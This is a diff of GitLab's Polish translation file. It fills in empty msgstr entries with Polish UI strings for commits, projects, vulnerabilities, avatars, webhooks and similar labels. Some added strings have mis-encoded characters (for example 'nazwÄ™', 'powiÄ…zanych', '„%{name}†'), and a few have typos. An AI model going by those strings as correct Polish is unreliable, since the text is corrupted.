+msgstr[3] "%d projektu osobistego zostanie usunięte i nie będzie można go przywrócić."
msgid "%d previously merged commit"
msgid_plural "%d previously merged commits"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d poprzednio zmergowany commit"
+msgstr[1] "%d poprzednio zmergowane commity"
+msgstr[2] "%d poprzednio zmergowanych commitów"
+msgstr[3] "%d poprzednio zmergowanego commitu"
msgid "%d project"
msgid_plural "%d projects"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d projekt"
+msgstr[1] "%d projekty"
+msgstr[2] "%d projektów"
+msgstr[3] "%d projektu"
msgid "%d project selected"
msgid_plural "%d projects selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d wybrany projekt"
+msgstr[1] "%d wybrane projekty"
+msgstr[2] "%d wybranych projektów"
+msgstr[3] "%d wybranego projektu"
msgid "%d request with warnings"
msgid_plural "%d requests with warnings"
@@ -441,10 +448,10 @@ msgstr[3] ""
msgid "%d second"
msgid_plural "%d seconds"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d sekunda"
+msgstr[1] "%d sekundy"
+msgstr[2] "%d sekund"
+msgstr[3] "%d sekundy"
msgid "%d shard selected"
msgid_plural "%d shards selected"
@@ -455,24 +462,24 @@ msgstr[3] ""
msgid "%d tag"
msgid_plural "%d tags"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d tag"
+msgstr[1] "%d tagi"
+msgstr[2] "%d tagów"
+msgstr[3] "%d tagu"
msgid "%d tag per image name"
msgid_plural "%d tags per image name"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d tag na nazwÄ™ obrazu"
+msgstr[1] "%d tagi na nazwÄ™ obrazu"
+msgstr[2] "%d tagów na nazwę obrazu"
+msgstr[3] "%d tagu na nazwÄ™ obrazu"
msgid "%d unassigned issue"
msgid_plural "%d unassigned issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d nieprzypisane zgłoszenie"
+msgstr[1] "%d nieprzypisane zgłoszenia"
+msgstr[2] "%d nieprzypisanych zgłoszeń"
+msgstr[3] "%d nieprzypisanego zgłoszenia"
msgid "%d unresolved thread"
msgid_plural "%d unresolved threads"
@@ -483,17 +490,17 @@ msgstr[3] ""
msgid "%d vulnerability"
msgid_plural "%d vulnerabilities"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d podatność"
+msgstr[1] "%d podatności"
+msgstr[2] "%d podatności"
+msgstr[3] "%d podatności"
msgid "%d vulnerability dismissed"
msgid_plural "%d vulnerabilities dismissed"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d podatność odrzucona"
+msgstr[1] "%d podatności odrzucone"
+msgstr[2] "%d podatności odrzuconych"
+msgstr[3] "%d podatności odrzuconej"
msgid "%d vulnerability updated"
msgid_plural "%d vulnerabilities updated"
@@ -504,50 +511,50 @@ msgstr[3] ""
msgid "%d warning found:"
msgid_plural "%d warnings found:"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d znalezione ostrzeżenie:"
+msgstr[1] "%d znalezione ostrzeżenia:"
+msgstr[2] "%d znalezionych ostrzeżeń:"
+msgstr[3] "%d znalezionego ostrzeżenia:"
msgid "%s additional commit has been omitted to prevent performance issues."
msgid_plural "%s additional commits have been omitted to prevent performance issues."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%s dodatkowy commit został pominięty, aby zapobiec problemom z wydajnością."
+msgstr[1] "%s dodatkowe commity zostały pominięte, aby zapobiec problemom z wydajnością."
+msgstr[2] "%s dodatkowych commitów zostało pominiętych, aby zapobiec problemom z wydajnością."
+msgstr[3] "%s dodatkowego commitu zostało pominięte, aby zapobiec problemom z wydajnością."
msgid "%{actionText} & %{openOrClose} %{noteable}"
-msgstr ""
+msgstr "%{actionText} i %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
-msgstr ""
+msgstr "%{address} nie jest prawidłowym zakresem adresów IP"
msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
-msgstr ""
+msgstr "%{anchorOpen}Dowiedz się więcej%{anchorClose}, jak możesz dostosować / wyłączyć rejestrację w swojej instancji."
msgid "%{author_link} cloned %{original_issue} to %{new_issue}."
-msgstr ""
+msgstr "%{author_link} sklonował(a) %{original_issue} do %{new_issue}."
msgid "%{author_link} cloned %{original_issue}. You don't have access to the new project."
-msgstr ""
+msgstr "%{author_link} sklonował(a) %{original_issue}. Nie masz dostępu do nowego projektu."
msgid "%{author_link} wrote:"
-msgstr ""
+msgstr "%{author_link} napisał(a):"
msgid "%{authorsName}'s thread"
-msgstr ""
+msgstr "wątek użytkownika %{authorsName}"
msgid "%{board_target} not found"
-msgstr ""
+msgstr "nie znaleziono %{board_target}"
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
-msgstr ""
+msgstr "%{code_open} Maskowanie:%{code_close} Ukryte w logu zadań. Musi spełnić wymagania maskowania."
msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or tags."
msgstr ""
msgid "%{commit_author_link} authored %{commit_timeago}"
-msgstr ""
+msgstr "%{commit_author_link} utworzył(a) %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
@@ -563,16 +570,16 @@ msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
msgid "%{containerScanningLinkStart}Container Scanning%{containerScanningLinkEnd} and/or %{dependencyScanningLinkStart}Dependency Scanning%{dependencyScanningLinkEnd} must be enabled. %{securityBotLinkStart}GitLab-Security-Bot%{securityBotLinkEnd} will be the author of the auto-created merge request. %{moreInfoLinkStart}More information%{moreInfoLinkEnd}."
-msgstr ""
+msgstr "%{containerScanningLinkStart}Skanowanie kontenera%{containerScanningLinkEnd} i / lub %{dependencyScanningLinkStart}Skanowanie zależności%{dependencyScanningLinkEnd} musi być włączone. %{securityBotLinkStart}GitLab-Security-Bot%{securityBotLinkEnd} będzie autorem automatycznie utworzonego merge requestu. %{moreInfoLinkStart}Więcej informacji%{moreInfoLinkEnd}."
msgid "%{cores} cores"
-msgstr ""
+msgstr "%{cores} rdzeni"
msgid "%{count} %{scope} for term '%{term}'"
-msgstr ""
+msgstr "%{count} %{scope} dla wyrażenia '%{term}'"
msgid "%{count} LOC/commit"
-msgstr ""
+msgstr "%{count} linii kodu/commit"
msgid "%{count} approval required from %{name}"
msgid_plural "%{count} approvals required from %{name}"
@@ -582,16 +589,16 @@ msgstr[2] ""
msgstr[3] ""
msgid "%{count} approvals from %{name}"
-msgstr ""
+msgstr "%{count} zatwierdzeń od %{name}"
msgid "%{count} files touched"
msgstr ""
msgid "%{count} items per page"
-msgstr ""
+msgstr "%{count} elementy na stronie"
msgid "%{count} more"
-msgstr ""
+msgstr "%{count} więcej"
msgid "%{count} more assignees"
msgstr "%{count} więcej beneficjentów"
@@ -604,20 +611,20 @@ msgstr[2] ""
msgstr[3] ""
msgid "%{count} of %{required} approvals from %{name}"
-msgstr ""
+msgstr "%{count} z %{required} zatwierdzeń od %{name}"
msgid "%{count} of %{total}"
-msgstr ""
+msgstr "%{count} z %{total}"
msgid "%{count} participant"
msgid_plural "%{count} participants"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{count} uczestnik"
+msgstr[1] "%{count} uczestnicy"
+msgstr[2] "%{count} uczestników"
+msgstr[3] "%{count} uczestnika"
msgid "%{count} related %{pluralized_subject}: %{links}"
-msgstr ""
+msgstr "%{count} powiÄ…zanych %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
@@ -626,97 +633,94 @@ msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} Hi
msgstr ""
msgid "%{dashboard_path} could not be found."
-msgstr ""
+msgstr "%{dashboard_path} nie może zostać znalezione."
msgid "%{days} days until tags are automatically removed"
-msgstr ""
+msgstr "%{days} dni do automatycznego usunięcia tagów"
msgid "%{deployLinkStart}Use a template to deploy to ECS%{deployLinkEnd}, or use a docker image to %{commandsLinkStart}run AWS commands in GitLab CI/CD%{commandsLinkEnd}."
-msgstr ""
+msgstr "%{deployLinkStart}Użyj szablonu by wdrożyć w ECS%{deployLinkEnd}, lub użyj obrazu docker %{commandsLinkStart}aby uruchomić polecenia AWS w GitLab CI/CD%{commandsLinkEnd}."
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
-msgstr ""
+msgstr "%{description}- Wydarzenie Sentry: %{errorUrl}- Pierwsze wystÄ…pienie: %{firstSeen}- Ostatnie wystÄ…pienie: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgid "%{doc_link_start}Advanced search%{doc_link_end} is disabled since %{ref_elem} is not the default branch; %{default_branch_link_start}search on %{default_branch} instead%{default_branch_link_end}."
-msgstr ""
+msgstr "%{doc_link_start}Zaawansowane wyszukiwanie%{doc_link_end} jest wyłączone, bo %{ref_elem} nie jest domyślnym branchem; %{default_branch_link_start}szukaj %{default_branch} zamiast%{default_branch_link_end}."
msgid "%{doc_link_start}Advanced search%{doc_link_end} is enabled."
-msgstr ""
+msgstr "%{doc_link_start}Zaawansowane wyszukiwanie%{doc_link_end} jest włączone."
msgid "%{due_date} (Past due)"
-msgstr ""
+msgstr "%{due_date} (zaległe)"
msgid "%{duration}ms"
-msgstr ""
+msgstr "%{duration}ms"
msgid "%{edit_in_new_fork_notice} Try to cherry-pick this commit again."
-msgstr ""
+msgstr "%{edit_in_new_fork_notice} Spróbuj ponownie cherry-pickować ten commit."
msgid "%{edit_in_new_fork_notice} Try to create a new directory again."
-msgstr ""
+msgstr "%{edit_in_new_fork_notice} Spróbuj ponownie utworzyć nowy katalog."
msgid "%{edit_in_new_fork_notice} Try to revert this commit again."
-msgstr ""
+msgstr "%{edit_in_new_fork_notice} Spróbuj ponownie wycofać ten commit."
msgid "%{edit_in_new_fork_notice} Try to upload a file again."
-msgstr ""
+msgstr "%{edit_in_new_fork_notice} Spróbuj ponownie wysłać plik."
msgid "%{emailPrefix}@company.com"
-msgstr ""
+msgstr "%{emailPrefix}@firma.pl"
msgid "%{extra} more downstream pipelines"
-msgstr ""
+msgstr "%{extra} więcej potoków downstream"
msgid "%{filePath} deleted"
-msgstr ""
+msgstr "%{filePath} usunięto"
msgid "%{firstLabel} +%{labelCount} more"
-msgstr ""
+msgstr "%{firstLabel} +%{labelCount} więcej"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
-msgstr ""
+msgstr "%{firstMilestoneName} + %{numberOfOtherMilestones} więcej"
msgid "%{gitlab_experience_text}. Don't worry, this information isn't shared outside of your self-managed GitLab instance."
-msgstr ""
+msgstr "%{gitlab_experience_text}. Nie martw się, te informacje nie są udostępniane poza Twoją samodzielnie zarządzaną instancją GitLab."
msgid "%{gitlab_experience_text}. We won't share this information with anyone."
-msgstr ""
+msgstr "%{gitlab_experience_text}. Nie udostępnimy nikomu tych informacji."
msgid "%{global_id} is not a valid ID for %{expected_types}."
-msgstr ""
-
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
+msgstr "%{global_id} nie jest poprawnym ID dla %{expected_types}."
msgid "%{group_name} activity"
-msgstr ""
+msgstr "aktywność %{group_name}"
msgid "%{group_name} group members"
-msgstr ""
+msgstr "członkowie grupy %{group_name}"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
-msgstr ""
+msgstr "Grupa %{group_name} używa konta zarządzane grupowo. Musisz utworzyć nowe konto w GitLab, które będzie zarządzane przez grupę %{group_name}."
msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
-msgstr ""
+msgstr "%{group_name} i %{epic_iid} &middot; utworzone %{epic_created} przez %{author}"
msgid "%{hook_type} was deleted"
-msgstr ""
+msgstr "%{hook_type} zostało usunięte"
msgid "%{hook_type} was scheduled for deletion"
-msgstr ""
+msgstr "%{hook_type} zostało zaplanowane do usunięcia"
msgid "%{host} sign-in from new location"
-msgstr ""
+msgstr "%{host} zalogowanie z nowej lokalizacji"
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
-msgstr ""
+msgstr "%{integrations_link_start}Integracje:%{link_end} pozwalają Ci użyć aplikacji firm trzecich jako część twojego workflow w GitLab. Jeśli dostępne integracje nie spełniają Twoich potrzeb, rozważ wykorzystanie %{webhooks_link_start}webhooka%{link_end}."
msgid "%{issuableType} will be removed! Are you sure?"
-msgstr ""
+msgstr "%{issuableType} zostanie usunięty! Jesteś pewny?"
msgid "%{issueType} actions"
-msgstr ""
+msgstr "akcje %{issueType}"
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
@@ -728,103 +732,103 @@ msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Faktyczna odpowiedź:%{labelEnd} %{headers}"
msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
-msgstr ""
+msgstr "%{labelStart}Asercja:%{labelEnd} %{assertion}"
msgid "%{labelStart}Class:%{labelEnd} %{class}"
-msgstr ""
+msgstr "%{labelStart}Klasa:%{labelEnd} %{class}"
msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
-msgstr ""
+msgstr "%{labelStart}Adres awarii:%{labelEnd} %{crash_address}"
msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
-msgstr ""
+msgstr "%{labelStart}Stan awarii:%{labelEnd} %{stacktrace_snippet}"
msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
-msgstr ""
+msgstr "%{labelStart}Dowód:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
-msgstr ""
+msgstr "%{labelStart}Plik:%{labelEnd} %{file}"
msgid "%{labelStart}Image:%{labelEnd} %{image}"
-msgstr ""
+msgstr "%{labelStart}Obraz:%{labelEnd} %{image}"
msgid "%{labelStart}Method:%{labelEnd} %{method}"
-msgstr ""
+msgstr "%{labelStart}Metoda:%{labelEnd} %{method}"
msgid "%{labelStart}Namespace:%{labelEnd} %{namespace}"
-msgstr ""
+msgstr "%{labelStart}Przestrzeń nazw:%{labelEnd} %{namespace}"
msgid "%{labelStart}Scan Type:%{labelEnd} %{reportType}"
-msgstr ""
+msgstr "%{labelStart}Typ skanu:%{labelEnd} %{reportType}"
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
-msgstr ""
+msgstr "%{labelStart}Skaner:%{labelEnd} %{scanner}"
msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Wysłano żądanie:%{labelEnd} %{headers}"
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
-msgstr ""
+msgstr "%{labelStart}Ranga:%{labelEnd} %{severity}"
msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Zniezmodyfikowana odpowiedź:%{labelEnd} %{headers}"
msgid "%{label_for_message} unavailable"
-msgstr ""
+msgstr "%{label_for_message} niedostępne"
msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA), that give digital certificates in order to enable HTTPS (SSL/TLS) for websites."
-msgstr ""
+msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} to bezpłatny, zautomatyzowany i otwarty urząd certyfikacji (CA), który dostarcza certyfikaty w celu włączenia HTTPS (SSL / TLS) na stronach internetowych."
msgid "%{level_name} is not allowed in a %{group_level_name} group."
-msgstr ""
+msgstr "%{level_name} nie jest dozwolone w grupie %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
-msgstr ""
+msgstr "%{link_start}Dowiedz się więcej%{link_end} o tym, jakie informacje są udostępniane firmie GitLab Inc."
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
-msgstr ""
+msgstr "%{listToShow}, i %{awardsListLength} więcej."
msgid "%{location} is missing required keys: %{keys}"
-msgstr ""
+msgstr "%{location} nie ma wymaganychkluczy: %{keys}"
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
-msgstr ""
+msgstr "%{lock_path} jest zablokowane przez użytkownika Gitlab'a %{lock_user_id}"
msgid "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} and %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd} are supported"
-msgstr ""
+msgstr "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} i %{quickActionsDocsLinkStart}szybkie akcje%{quickActionsDocsLinkEnd} są obsługiwane"
msgid "%{mergeLength}/%{usersLength} can merge"
-msgstr ""
+msgstr "%{mergeLength}/%{usersLength} można zmergować"
msgid "%{message} showing first %{warnings_displayed}"
-msgstr ""
+msgstr "%{message} pokazuje pierwsze %{warnings_displayed}"
msgid "%{milestone_name} (Past due)"
-msgstr ""
+msgstr "%{milestone_name} (Po terminie)"
msgid "%{milestone} (expired)"
-msgstr ""
+msgstr "%{milestone} (wygasł)"
msgid "%{milliseconds}ms"
-msgstr ""
+msgstr "%{milliseconds}ms"
msgid "%{model_name} not found"
-msgstr ""
+msgstr "%{model_name} nie znaleziono"
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -836,99 +840,99 @@ msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new
msgstr ""
msgid "%{name} %{status}"
-msgstr ""
+msgstr "%{name} %{status}"
msgid "%{name} (Busy)"
-msgstr ""
+msgstr "%{name} (Zajęte)"
msgid "%{name} contained %{resultsString}"
-msgstr ""
+msgstr "%{name} zawierało %{resultsString}"
msgid "%{name} found %{resultsString}"
-msgstr ""
+msgstr "%{name} znalazło %{resultsString}"
msgid "%{name} is already being used for another emoji"
-msgstr ""
+msgstr "%{name} jest już używane w innym emoji"
msgid "%{name} is scheduled for %{action}"
-msgstr ""
+msgstr "%{name} jest zaplanowane na %{action}"
msgid "%{name}'s avatar"
-msgstr ""
+msgstr "Awatar użytkownika %{name}"
msgid "%{name}(%{url}) has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
msgstr ""
msgid "%{name}(%{url}) has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "%{name}(%{url}) wyczerpał minuty Współdzielonych Wykonywaczy Potoków, więc żadne nowe zadania ani potoki nie zostaną uruchomione."
msgid "%{name}, confirm your email address now!"
-msgstr ""
+msgstr "%{name}, potwierdź teraz swój adres e-mail!"
msgid "%{no_of_days} day"
msgid_plural "%{no_of_days} days"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{no_of_days} dzień"
+msgstr[1] "%{no_of_days} dni"
+msgstr[2] "%{no_of_days} dni"
+msgstr[3] "%{no_of_days} dnia"
msgid "%{number_commits_behind} commits behind %{default_branch}, %{number_commits_ahead} commits ahead"
-msgstr ""
+msgstr "%{number_commits_behind} commitów tyle za %{default_branch}, %{number_commits_ahead} commitów przed"
msgid "%{oneMonthAgo} - %{today}"
-msgstr ""
+msgstr "%{oneMonthAgo} – %{today}"
msgid "%{oneWeekAgo} - %{today}"
-msgstr ""
+msgstr "%{oneWeekAgo} – %{today}"
msgid "%{oneYearAgo} - %{today}"
-msgstr ""
+msgstr "%{oneYearAgo} – %{today}"
msgid "%{openOrClose} %{noteable}"
-msgstr ""
+msgstr "%{openOrClose} %{noteable}"
msgid "%{openedEpics} open, %{closedEpics} closed"
-msgstr ""
+msgstr "%{openedEpics} otwarte, %{closedEpics} zamknięte"
msgid "%{openedIssues} open, %{closedIssues} closed"
-msgstr ""
+msgstr "%{openedIssues} otwarte, %{closedIssues} zamknięte"
msgid "%{percentage}%% weight completed"
msgstr ""
msgid "%{percent}%% complete"
-msgstr ""
+msgstr "%{percent}%% ukończono"
msgid "%{percent}%{percentSymbol} complete"
-msgstr ""
+msgstr "%{percent}%{percentSymbol} ukończono"
msgid "%{placeholder} is not a valid color scheme"
-msgstr ""
+msgstr "%{placeholder} nie jest prawidłowym schematem kolorów"
msgid "%{placeholder} is not a valid theme"
-msgstr ""
+msgstr "%{placeholder} nie jest prawidłowym motywem"
msgid "%{primary} (%{secondary})"
-msgstr ""
+msgstr "%{primary} (%{secondary})"
msgid "%{ref} cannot be added: %{error}"
-msgstr ""
+msgstr "%{ref} nie może zostać dodany: %{error}"
msgid "%{releases} release"
msgid_plural "%{releases} releases"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{releases} wydanie"
+msgstr[1] "%{releases} wydania"
+msgstr[2] "%{releases} wydań"
+msgstr[3] "%{releases} wydania"
msgid "%{remaining_approvals} left"
-msgstr ""
+msgstr "Pozostało %{remaining_approvals}"
msgid "%{reportType} %{status}"
-msgstr ""
+msgstr "%{status} %{reportType}"
msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
-msgstr ""
+msgstr "%{reportType} wykryto %{totalStart}%{total}%{totalEnd} potencjalnych %{vulnMessage}"
msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
@@ -936,6 +940,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -989,9 +999,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1076,61 +1083,67 @@ msgid "%{text} is available"
msgstr ""
msgid "%{timebox_name} should belong either to a project or a group."
-msgstr ""
+msgstr "%{timebox_name} powinien należeć albo do projektu albo do grupy."
msgid "%{timebox_type} does not support burnup charts"
-msgstr ""
+msgstr "%{timebox_type} nie obsługuje wykresów wypalania (burnup)"
msgid "%{timebox_type} must have a start and due date"
-msgstr ""
+msgstr "%{timebox_type} musi mieć datę rozpoczęcia i zakończenia"
msgid "%{title} %{operator} %{threshold}"
-msgstr ""
+msgstr "%{title} %{operator} %{threshold}"
msgid "%{title} changes"
-msgstr ""
+msgstr "%{title} zmiany"
msgid "%{totalCpu} (%{freeSpacePercentage}%{percentSymbol} free)"
-msgstr ""
+msgstr "%{totalCpu} (%{freeSpacePercentage}%{percentSymbol} dostępne)"
msgid "%{totalMemory} (%{freeSpacePercentage}%{percentSymbol} free)"
-msgstr ""
+msgstr "%{totalMemory} (%{freeSpacePercentage}%{percentSymbol} dostępne)"
msgid "%{totalWeight} total weight"
-msgstr ""
+msgstr "%{totalWeight} waga całkowita"
msgid "%{total_warnings} warning(s) found:"
-msgstr ""
+msgstr "Znaleziono %{total_warnings} ostrzeżeń:"
msgid "%{total} open issue weight"
-msgstr ""
+msgstr "%{total} waga otwartego problemu"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
-msgstr ""
+msgstr "%{total} ostrzeżeń znaleziono: pokazano pierwsze %{warningsDisplayed}"
msgid "%{type} License"
-msgstr ""
+msgstr "%{type} Licencja"
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
+msgstr "%{usage_ping_link_start}Dowiedz się więcej%{usage_ping_link_end} o tym, jakie informacje są udostępniane GitLab Inc."
msgid "%{userName} (cannot merge)"
-msgstr ""
+msgstr "%{userName} (nie może zmergować)"
msgid "%{userName}'s avatar"
+msgstr "awatar użytkownika %{userName}"
+
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
msgstr ""
msgid "%{user_name} profile page"
+msgstr "Strona profilowa %{user_name}"
+
+msgid "%{username} changed the draft status of merge request %{mr_link}"
msgstr ""
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
msgid "%{username}'s avatar"
-msgstr ""
+msgstr "Awatar użytkownika %{username}"
msgid "%{user} created a merge request: %{mr_link}"
-msgstr ""
+msgstr "%{user} utworzył(a) merge request: %{mr_link}"
msgid "%{user} created an epic: %{epic_link}"
msgstr ""
@@ -1139,55 +1152,52 @@ msgid "%{user} created an issue: %{issue_link}"
msgstr ""
msgid "%{value} s"
-msgstr ""
+msgstr "%{value} s"
msgid "%{verb} %{time_spent_value} spent time."
-msgstr ""
+msgstr "%{verb} %{time_spent_value} wykorzystanego czasu."
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project."
-msgstr ""
+msgstr "%{webhooks_link_start}%{webhook_type}%{link_end} umożliwia wysyłanie powiadomień do aplikacji internetowych w odpowiedzi na zdarzenia w grupie lub projekcie."
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
-msgstr ""
+msgstr "%{webhooks_link_start} %{webhook_type} %{link_end} umożliwia wysyłanie powiadomień do aplikacji sieci web w odpowiedzi na zdarzenia w grupie lub projekcie. Zalecamy użycie %{integrations_link_start}integracji%{link_end} zamiast elementu webhook."
msgid "%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}v*%{code_tag_end} or %{code_tag_start}*-release%{code_tag_end} are supported."
-msgstr ""
+msgstr "%{wildcards_link_start}Symbole wieloznaczne%{wildcards_link_end} takie jak %{code_tag_start}v*%{code_tag_end} lub %{code_tag_start}*-release%{code_tag_end} są obsługiwane."
msgid "&lt; 1 hour"
-msgstr ""
+msgstr "&lt; 1 godzina"
msgid "'%{data}' at %{location} does not match format: %{format}"
-msgstr ""
+msgstr "„%{data}†w %{location} nie pasuje do formatu: %{format}"
msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
-msgstr ""
+msgstr "'%{data}' w %{location} nie pasuje do wzorca: %{pattern}"
msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
-msgstr ""
+msgstr "'%{data}' w %{location} jest nieprawidłowe: error_type=%{type}"
msgid "'%{data}' at %{location} is not of type: %{type}"
-msgstr ""
+msgstr "'%{data}' w %{location} nie jest typu: %{type}"
msgid "'%{data}' at %{location} is not one of: %{enum}"
-msgstr ""
+msgstr "'%{data}' w %{location} nie jest jednym z: %{enum}"
msgid "'%{data}' at %{location} is not: %{const}"
-msgstr ""
+msgstr "'%{data}' w %{location} nie jest: %{const}"
msgid "'%{level}' is not a valid visibility level"
-msgstr ""
+msgstr "'%{level}' nie jest poprawnym poziomem widoczności"
msgid "'%{name}' Value Stream created"
-msgstr ""
+msgstr "„%{name}†Value Stream utworzono"
msgid "'%{name}' Value Stream deleted"
-msgstr ""
+msgstr "„%{name}†Value Stream usunięto"
msgid "'%{name}' Value Stream saved"
-msgstr ""
-
-msgid "'%{name}' stage already exists"
-msgstr ""
+msgstr "„%{name}†Value Stream zapisano"
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1572,6 +1582,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1593,6 +1606,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
